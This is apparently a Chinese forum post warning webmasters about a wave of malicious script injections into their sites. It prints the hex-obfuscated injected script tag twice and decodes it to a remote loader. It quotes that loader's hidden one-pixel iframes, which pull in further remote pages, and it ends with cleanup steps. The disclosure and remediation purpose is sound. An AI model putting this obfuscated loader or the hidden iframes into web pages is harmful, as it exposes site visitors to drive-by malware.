中马的站长进来看看!!看看到底谁无耻!!1 GO!
近日有多个网友的网页被挂马！
“<script>document.writeln("x3Cx73x63x72x69x70x74x20x73x72x63x3Dx68x74x74x70x3Ax2Fx2Fx4Fx25x36x36x25x36x36x25x34x39x25x36x33x65x25x32x45x25x34x36x25x34x31x51x25x35x33x25x36x35x25x37x32x76x2Ex25x34x33x25x36x46x25x34x44x2Fx25x34x36x25x34x31x25x35x31x25x32x45x25x36x41x25x37x33x3Ex3Cx2Fx73x63x72x69x70x74x3E");</script>”
最新的木马
是十六进制的
把x替换为%，然后用html代码转换功能，解码
<script src=http://O%66%66%49%63e%2E%46%41Q%53%65%72v.%43%6F%4D/%46%41%51%2E%6A%73></script>
在转换一次，解码
最终js 输出的是
<script src=http://OffIce.FAQServ.CoM/FAQ.js></script>
faq.js里面是
document.write('<iframe src="https://www.59.vc/page/add_54738542.htm" width="1" height="1" frameborder="1"></iframe>');
document.write('<iframe src="https://OffIce.FAQServ.com/FAQ.htm" width="1" height="2" frameborder="0"></iframe>');
https://OffIce.FAQServ.com/FAQ.htm
下载下来发现了这么一串代码:<script language="javascript" src="https://count18.51yes.com/click.aspxid=189404354&logo=1"></script>
木马的地址其中一个是51yes的
https://www.59.vc/page/add_54738542.htm"
下载下来发现了这么一串代码<script src=addr.js></script><script language="javascript" type="text/javascript" src="https://js.users.51.la/1542776.js"></script>
为了防止大家中毒把http改成了https
暂时解决办法:
下载文本替换专家: http://sccrc.onlinedown.net/down/wfReplace26.rar
将网站中的代
<script>document.writeln("x3Cx73x63x72x69x70x74x20x73x72x63x3Dx68x74x74x70x3Ax2Fx2Fx4Fx25x36x36x25x36x36x25x34x39x25x36x33x65x25x32x45x25x34x36x25x34x31x51x25x35x33x25x36x35x25x37x32x76x2Ex25x34x33x25x36x46x25x34x44x2Fx25x34x36x25x34x31x25x35x31x25x32x45x25x36x41x25x37x33x3Ex3Cx2Fx73x63x72x69x70x74x3E");</script>
换成 空
选择网站路径,替换,然后重新上专即可.